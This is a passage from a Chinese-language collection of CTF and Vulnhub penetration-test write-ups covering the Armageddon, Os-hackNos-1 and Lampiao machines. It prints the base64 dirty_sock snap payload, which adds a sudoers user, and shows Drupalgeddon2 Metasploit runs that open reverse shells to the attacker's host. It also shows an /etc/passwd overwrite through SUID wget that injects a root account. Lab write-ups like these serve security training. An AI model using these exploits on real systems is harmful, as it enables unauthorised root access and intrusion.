[brucetherealadmin@armageddon tmp]$ python -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A" * 4256 + "=="' | base64 -d > dedsec.snap
```

run the following commands and we got root

``` bash
[brucetherealadmin@armageddon tmp]$ ls
luci.snap
[brucetherealadmin@armageddon tmp]$ sudo /usr/bin/snap install --devmode luci.snap
dirty-sock 0.1 installed
[brucetherealadmin@armageddon tmp]$ su dirty_sock
密码：
[dirty_sock@armageddon tmp]$ sudo -i

我们信任您已经从系统管理员那里了解了日常注意事项。
总结起来无外乎这三点：

    #1) 尊重别人的隐私。
    #2) 输入前要先考虑(后果和风险)。
    #3) 权力越大，责任越大。

[sudo] dirty_sock 的密码：
[root@armageddon ~]# id
uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon ~]# whoami
root
[root@armageddon ~]# ls
anaconda-ks.cfg  cleanup.sh  passwd  reset.sh  root.txt  snap
[root@armageddon ~]# cat root.txt
2ff5df0cda6758a019dc1481ff002da1
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1914.jpg)


#### Summary of knowledge

 - using msf get a shell by Drupal Drupalgeddon 2 Forms API Property Injection
 - john crack Drupal7 hash
 - Privilege Escalation by dirty_sock exploit

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end Armageddon -->

</details>

<a id="case-hacknos-os-hacknos-1"></a>

## Drupal 执行与 wget 文件权限

Brainfuck 线索和 Drupal 版本引导初始入口，后续通过 wget 的 SUID 权限影响系统账户文件。原始输入、文件格式和验证步骤完整保留。

<p class="kb-provenance">来源 hackNos-Os-hackNos-1 · 原记录 2019-12-22 · 15 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-hacknos-os-hacknos-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start hackNos-Os-hackNos-1 -->

名称：hackNos: Os-hackNos
发布日期：2019年11月27日

 - Download: https://drive.google.com/open?id=1IOpXibf-A9iSwoG4IW8HdXFvDBFoy7N1
 - Download (Mirror): https://download.vulnhub.com/hacknos/Os-hackNos-1.ova
 - Download (Torrent): https://download.vulnhub.com/hacknos/Os-hackNos-1.ova.torrent

描述：
难度：容易中级
flag：2个flag第一个user.txt和第二个root.txt
学习：利用 Web应用程序 枚举 权限提升



#### 网络配置

配置和hackNos-Os-hackNos-2-1一样，[传送门](https://fdlucifer.github.io/2019-12-19-hackNos-Os-hackNos-2-1.html)

#### 信息收集

nmap扫描一波

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.103
Host is up (0.00036s latency).
MAC Address: 08:00:27:F9:4E:C0 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -A -v -sV -Pn -T4 --script=vuln 192.168.56.103
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
```

可以看到开放了22的ssh端口和80端口

dirb扫一波

``` bash
root@kali:~# dirb http://192.168.56.103/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Dec 22 21:06:26 2019
URL_BASE: http://192.168.56.103/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.103/ ----
==> DIRECTORY: http://192.168.56.103/drupal/                                                          
+ http://192.168.56.103/index.html (CODE:200|SIZE:11321)                                              
+ http://192.168.56.103/server-status (CODE:403|SIZE:279)                                             
                                                                                                      
---- Entering directory: http://192.168.56.103/drupal/ ----
==> DIRECTORY: http://192.168.56.103/drupal/includes/                                                 
+ http://192.168.56.103/drupal/index.php (CODE:200|SIZE:7687)                                         
==> DIRECTORY: http://192.168.56.103/drupal/misc/                                                     
==> DIRECTORY: http://192.168.56.103/drupal/modules/                                                  
==> DIRECTORY: http://192.168.56.103/drupal/profiles/                                                 
+ http://192.168.56.103/drupal/robots.txt (CODE:200|SIZE:2189)                                        
==> DIRECTORY: http://192.168.56.103/drupal/scripts/                                                  
==> DIRECTORY: http://192.168.56.103/drupal/sites/                                                    
==> DIRECTORY: http://192.168.56.103/drupal/themes/                                                   
+ http://192.168.56.103/drupal/web.config (CODE:200|SIZE:2200)                                        
+ http://192.168.56.103/drupal/xmlrpc.php (CODE:200|SIZE:42)
```

发现存在drupal服务

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub81.jpg)

dirbuster再爆破一波.txt后缀的文件

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub82.jpg)

``` bash
http://192.168.56.103/alexander.txt
```

base64字符串

``` bash
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
```

将base64字符串解密

``` bash
root@kali:~# echo "KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA=="  | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
```

可以看出是brain-fuck加密的字符串，到[Brainfuck/Ook! Obfuscation/Encoding](https://www.splitbrain.org/services/ook)解密。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub83.jpg)

得到账号密码：james/Hacker@4514，登录。

#### getshell得到第一个flag

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub84.jpg)

发现是 7.57 版本，存在drupalgeddon2远程代码执行

使用msf

``` bash
root@kali:~# msfdb run
[+] Starting database
                                                  
# cowsay++                                                                                                                                                                                                                                 
 ____________                                                                                                                                                                                                                              
< metasploit >                                                                                                                                                                                                                             
 ------------                                                                                                                                                                                                                              
       \   ,__,                                                                                                                                                                                                                            
        \  (oo)____                                                                                                                                                                                                                        
           (__)    )\                                                                                                                                                                                                                      
              ||--|| *                                                                                                                                                                                                                     
                                                                                                                                                                                                                                           
                                                                                                                                                                                                                                           
       =[ metasploit v5.0.64-dev                          ]                                                                                                                                                                                
+ -- --=[ 1952 exploits - 1089 auxiliary - 335 post       ]                                                                                                                                                                                
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]                                                                                                                                                                                
+ -- --=[ 7 evasion                                       ]                                                                                                                                                                                
                                                                                                                                                                                                                                           
msf5 > search Drupalgeddon2                                                                                                                                                                                                                
                                                                                                                                                                                                                                           
Matching Modules                                                                                                                                                                                                                           
================                                                                                                                                                                                                                           
                                                                                                                                                                                                                                           
   #  Name                                      Disclosure Date  Rank       Check  Description                                                                                                                                             
   -  ----                                      ---------------  ----       -----  -----------                                                                                                                                             
   0  exploit/unix/webapp/drupal_drupalgeddon2  2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection                                                                                                      
                                                                                                                                                                                                                                           
                                                                                                                                                                                                                                           
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2                                                                                                                                                                                        
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.56.103
rhost => 192.168.56.103
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set targeturi /drupal
targeturi => /drupal
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.56.102:4444 
[*] Sending stage (38288 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.102:4444 -> 192.168.56.103:58828) at 2019-12-22 22:08:44 -0500

ls
pwd

meterpreter > 
meterpreter > ls
Listing: /var/www/html/drupal
=============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100777/rwxrwxrwx  317     fil   2018-02-21 12:28:43 -0500  .editorconfig
100777/rwxrwxrwx  174     fil   2018-02-21 12:28:43 -0500  .gitignore
100777/rwxrwxrwx  6112    fil   2018-02-21 12:28:43 -0500  .htaccess
100777/rwxrwxrwx  111736  fil   2018-02-21 12:28:43 -0500  CHANGELOG.txt
100777/rwxrwxrwx  1481    fil   2018-02-21 12:28:43 -0500  COPYRIGHT.txt
100777/rwxrwxrwx  1717    fil   2018-02-21 12:28:43 -0500  INSTALL.mysql.txt
100777/rwxrwxrwx  1874    fil   2018-02-21 12:28:43 -0500  INSTALL.pgsql.txt
100777/rwxrwxrwx  1298    fil   2018-02-21 12:28:43 -0500  INSTALL.sqlite.txt
100777/rwxrwxrwx  17995   fil   2018-02-21 12:28:43 -0500  INSTALL.txt
100777/rwxrwxrwx  18092   fil   2016-11-16 18:57:05 -0500  LICENSE.txt
100777/rwxrwxrwx  8710    fil   2018-02-21 12:28:43 -0500  MAINTAINERS.txt
100777/rwxrwxrwx  5382    fil   2018-02-21 12:28:43 -0500  README.txt
100777/rwxrwxrwx  10123   fil   2018-02-21 12:28:43 -0500  UPGRADE.txt
100777/rwxrwxrwx  6604    fil   2018-02-21 12:28:43 -0500  authorize.php
100777/rwxrwxrwx  720     fil   2018-02-21 12:28:43 -0500  cron.php
40777/rwxrwxrwx   4096    dir   2018-02-21 12:28:43 -0500  includes
100777/rwxrwxrwx  529     fil   2018-02-21 12:28:43 -0500  index.php
100777/rwxrwxrwx  703     fil   2018-02-21 12:28:43 -0500  install.php
40777/rwxrwxrwx   4096    dir   2018-02-21 12:28:43 -0500  misc
40777/rwxrwxrwx   4096    dir   2018-02-21 12:28:43 -0500  modules
40777/rwxrwxrwx   4096    dir   2018-02-21 12:28:43 -0500  profiles
100777/rwxrwxrwx  2189    fil   2018-02-21 12:28:43 -0500  robots.txt
40777/rwxrwxrwx   4096    dir   2018-02-21 12:28:43 -0500  scripts
40777/rwxrwxrwx   4096    dir   2018-02-21 12:28:43 -0500  sites
40777/rwxrwxrwx   4096    dir   2018-02-21 12:28:43 -0500  themes
100777/rwxrwxrwx  19986   fil   2018-02-21 12:28:43 -0500  update.php
100777/rwxrwxrwx  2200    fil   2018-02-21 12:28:43 -0500  web.config
100777/rwxrwxrwx  417     fil   2018-02-21 12:28:43 -0500  xmlrpc.php

meterpreter > pwd
/var/www/html/drupal
meterpreter > shell
Process 2203 created.
Channel 0 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@hackNos:/var/www/html/drupal$ ls
ls
CHANGELOG.txt       INSTALL.txt      authorize.php  misc        sites
COPYRIGHT.txt       LICENSE.txt      cron.php       modules     themes
INSTALL.mysql.txt   MAINTAINERS.txt  includes       profiles    update.php
INSTALL.pgsql.txt   README.txt       index.php      robots.txt  web.config
INSTALL.sqlite.txt  UPGRADE.txt      install.php    scripts     xmlrpc.php
www-data@hackNos:/var/www/html/drupal$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@hackNos:/var/www/html/drupal$ whoami
whoami
www-data
www-data@hackNos:/var/www/html/drupal$
```

找到第一个flag

``` bash
www-data@hackNos:/var/www/html/drupal$ cd /home
cd /home
www-data@hackNos:/home$ ls
ls
james
www-data@hackNos:/home$ cd james
cd james
www-data@hackNos:/home/james$ ls
ls
user.txt
www-data@hackNos:/home/james$ cat user.txt
cat user.txt
   _                                  
  | |                                 
 / __) ______  _   _  ___   ___  _ __ 
 \__ \|______|| | | |/ __| / _ \| '__|
 (   /        | |_| |\__ \|  __/| |   
  |_|          \__,_||___/ \___||_|   
                                      
                                      

MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
www-data@hackNos:/home/james$
```

#### 提权，找到第二个flag

使用SUID检查文件查找命令，看到输出/usr/bin/wget 有SUID权限

``` bash
www-data@hackNos:/home/james$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/pkexec
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/wget
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/bin/ping6
/bin/umount
/bin/ntfs-3g
/bin/mount
/bin/ping
/bin/su
/bin/fusermount
```

进入/etc/passwd并将此文件复制到本地系统，并使用openSSL生成新密码

``` bash
root@kali:~# openssl passwd -1 -salt lucifer11 passwd                                                                                    
$1$lucifer1$TOAYpZO4bCfctvslb57pP.
```

将生成的hash值放入passwd中

``` bash
lucifer11:$1$lucifer1$TOAYpZO4bCfctvslb57pP.:0:0:,,,/root:/bin/bash
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub85.jpg)

``` bash
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

在shell中下载并替换passwd文件

``` bash
www-data@hackNos:/etc$ wget http://192.168.56.102:8000/passwd -O passwd
wget http://192.168.56.102:8000/passwd -O passwd
--2019-12-23 09:00:24--  http://192.168.56.102:8000/passwd
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1687 (1.6K) [application/octet-stream]
Saving to: 'passwd'

passwd              100%[===================>]   1.65K  --.-KB/s    in 0s      

2019-12-23 09:00:24 (405 MB/s) - 'passwd' saved [1687/1687]
```

成功下载并替换,然后登录root用户

``` bash
www-data@hackNos:/etc$ su lucifer11
su lucifer11
Password: passwd

bash: /bin/bash/.bashrc: Not a directory
root@hackNos:/etc# id
id
uid=0(root) gid=0(root) groups=0(root)
root@hackNos:/etc# whoami
whoami
root
```

找到flag,帅掉渣

``` bash
root@hackNos:/etc# cd /root
cd /root
root@hackNos:/root# ls
ls
root.txt
root@hackNos:/root# cat root.txt
cat root.txt
    _  _                              _   
  _| || |_                           | |  
 |_  __  _|______  _ __  ___    ___  | |_ 
  _| || |_|______|| '__|/ _ \  / _ \ | __|
 |_  __  _|       | |  | (_) || (_) || |_ 
   |_||_|         |_|   \___/  \___/  \__|
                                          
                                          

MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b

Author : Rahul Gehlaut

Linkedin : https://www.linkedin.com/in/rahulgehlaut/

Blog : www.hackNos.com
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub86.jpg)

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end hackNos-Os-hackNos-1 -->

</details>

<a id="case-lampiao-1"></a>

## 应用入口与 Dirty COW 分支

Drupalgeddon2 提供初始执行，后半段按照目标内核和编译器验证 Dirty COW。原始编译参数、账户文件变化与结果均留存。

<p class="kb-provenance">来源 Lampiao-1 · 原记录 2020-04-07 · 9 个代码块 · 3 处图片引用</p>

<details class="kb-evidence" id="record-lampiao-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Lampiao-1 -->

#### 名称
名称：Lampião: 1
发布日期：2018年7月28日

#### 下载

Lampiao.zip

 - Download: https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM
 - Download (Mirror): https://download.vulnhub.com/lampiao/Lampiao.zip
 - Download (Torrent): https://download.vulnhub.com/lampiao/Lampiao.zip.torrent

#### 描述

您想继续在自己的实验室中进行黑客入侵吗？
试试这个全新的脆弱机器！“Lampião1”。root它！

级别：简单



#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.66.*
Nmap scan report for 192.168.66.17
Host is up (0.00024s latency).
MAC Address: 00:0C:29:51:75:B7 (VMware)
```

``` bash
root@kali:~# nmap -sV -p- -v 192.168.66.17
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http?
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
```

``` bash
root@kali:~# nmap -A -p 22,80,1898 -v 192.168.66.17 --script=vuln
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp   open  http?
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings: 
|   NULL: 
|     _____ _ _ 
|     |_|/ ___ ___ __ _ ___ _ _ 
|     \x20| __/ (_| __ \x20|_| |_ 
|     ___/ __| |___/ ___|__,_|___/__, ( ) 
|     |___/ 
|     ______ _ _ _ 
|     ___(_) | | | |
|     \x20/ _` | / _ / _` | | | |/ _` | |
|_    __,_|__,_|_| |_|
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.66.17
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.66.17:1898/
|     Form id: user-login-form
|     Form action: /?q=node&destination=node
|     
|     Path: http://192.168.66.17:1898/?q=node/3
|     Form id: user-login-form
|     Form action: /?q=node/3&destination=node/3
|     
|     Path: http://192.168.66.17:1898/?q=node/1
|     Form id: user-login-form
|     Form action: /?q=node/1&destination=node/1
|     
|     Path: http://192.168.66.17:1898/?q=user/login&amp;destination=node/3%23comment-form
|     Form id: user-login
|     Form action: /?q=user/login&amp;destination=node/3%23comment-form
|     
|     Path: http://192.168.66.17:1898/?q=user/register&amp;destination=node/1%23comment-form
|     Form id: user-register-form
|     Form action: /?q=user/register&amp;destination=node/1%23comment-form
|     
|     Path: http://192.168.66.17:1898/?q=user/login&amp;destination=node/1%23comment-form
|     Form id: user-login
|     Form action: /?q=user/login&amp;destination=node/1%23comment-form
|     
|     Path: http://192.168.66.17:1898/?q=user/password
|     Form id: user-pass
|     Form action: /?q=user/password
|     
|     Path: http://192.168.66.17:1898/?q=node&amp;destination=node
|     Form id: user-login-form
|     Form action: /?q=node&destination=node%3Famp%253Bdestination%3Dnode
|     
|     Path: http://192.168.66.17:1898/?q=user/register&amp;destination=node/3%23comment-form
|     Form id: user-register-form
|     Form action: /?q=user/register&amp;destination=node/3%23comment-form
|     
|     Path: http://192.168.66.17:1898/?q=user/register
|     Form id: user-register-form
|     Form action: /?q=user/register
|     
|     Path: http://192.168.66.17:1898/?q=node/3&amp;destination=node/3
|     Form id: user-login-form
|     Form action: /?q=node/3&destination=node/3%3Famp%253Bdestination%3Dnode/3
|     
|     Path: http://192.168.66.17:1898/?q=node/1&amp;destination=node/1
|     Form id: user-login-form
|     Form action: /?q=node/1&destination=node/1%3Famp%253Bdestination%3Dnode/1
|     
|     Path: http://192.168.66.17:1898/?q=user/login&amp;amp;destination=node/3%23comment-form
|     Form id: user-login
|_    Form action: /?q=user/login&amp;amp;destination=node/3%23comment-form
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /robots.txt: Robots file
|   /UPGRADE.txt: Drupal file
|   /INSTALL.txt: Drupal file
|   /INSTALL.mysql.txt: Drupal file
|   /INSTALL.pgsql.txt: Drupal file
|   /CHANGELOG.txt: Drupal v1
|   /: Drupal version 7 
|   /README.txt: Interesting, a readme.
|   /includes/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|   /misc/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|   /modules/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|   /scripts/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|   /sites/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|_  /themes/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners: 
|   cpe:/a:apache:http_server:2.4.7: 
|       CVE-2020-1934   7.5     https://vulners.com/cve/CVE-2020-1934
|       CVE-2017-7679   7.5     https://vulners.com/cve/CVE-2017-7679
|       CVE-2018-1312   6.8     https://vulners.com/cve/CVE-2018-1312
|       CVE-2017-15715  6.8     https://vulners.com/cve/CVE-2017-15715
|       CVE-2014-0226   6.8     https://vulners.com/cve/CVE-2014-0226
|       CVE-2017-9788   6.4     https://vulners.com/cve/CVE-2017-9788
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2020-1927   5.8     https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2018-17199  5.0     https://vulners.com/cve/CVE-2018-17199
|       CVE-2017-9798   5.0     https://vulners.com/cve/CVE-2017-9798
|       CVE-2017-15710  5.0     https://vulners.com/cve/CVE-2017-15710
|       CVE-2016-8743   5.0     https://vulners.com/cve/CVE-2016-8743
|       CVE-2016-2161   5.0     https://vulners.com/cve/CVE-2016-2161
|       CVE-2016-0736   5.0     https://vulners.com/cve/CVE-2016-0736
|       CVE-2014-3523   5.0     https://vulners.com/cve/CVE-2014-3523
|       CVE-2014-0231   5.0     https://vulners.com/cve/CVE-2014-0231
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       CVE-2016-4975   4.3     https://vulners.com/cve/CVE-2016-4975
|       CVE-2015-3185   4.3     https://vulners.com/cve/CVE-2015-3185
|       CVE-2014-8109   4.3     https://vulners.com/cve/CVE-2014-8109
|       CVE-2014-0118   4.3     https://vulners.com/cve/CVE-2014-0118
|       CVE-2014-0117   4.3     https://vulners.com/cve/CVE-2014-0117
|       CVE-2018-1283   3.5     https://vulners.com/cve/CVE-2018-1283
|_      CVE-2016-8612   3.3     https://vulners.com/cve/CVE-2016-8612
```

Nmap扫描显示端口22、80、1898已打开，因此考虑在浏览器中打开IP地址以及端口1898。它提供了有关运行了Drupal的网页的线索。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub240.jpg)

根据先前的线索，考虑过使用漏洞利用drupal_drupalgeddon2进行利用。

``` bash
msf5 > search drupalgeddon2

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_drupalgeddon2  2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection


msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.66.17
RHOSTS => 192.168.66.17
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
RPORT => 1898
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.66.6:4444 
[*] Sending stage (38288 bytes) to 192.168.66.17
[*] Meterpreter session 1 opened (192.168.66.6:4444 -> 192.168.66.17:58696) at 2020-04-07 22:59:18 -0400

meterpreter > 
meterpreter > sessions 1
[*] Session 1 is already interactive.
meterpreter > ls
Listing: /var/www/html
======================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100755/rwxr-xr-x  110781   fil   2018-04-19 15:39:33 -0400  CHANGELOG.txt
100755/rwxr-xr-x  1481     fil   2018-04-19 15:39:33 -0400  COPYRIGHT.txt
100755/rwxr-xr-x  1717     fil   2018-04-19 15:39:33 -0400  INSTALL.mysql.txt
100755/rwxr-xr-x  1874     fil   2018-04-19 15:39:33 -0400  INSTALL.pgsql.txt
100755/rwxr-xr-x  1298     fil   2018-04-19 15:39:33 -0400  INSTALL.sqlite.txt
100755/rwxr-xr-x  17995    fil   2018-04-19 15:39:33 -0400  INSTALL.txt
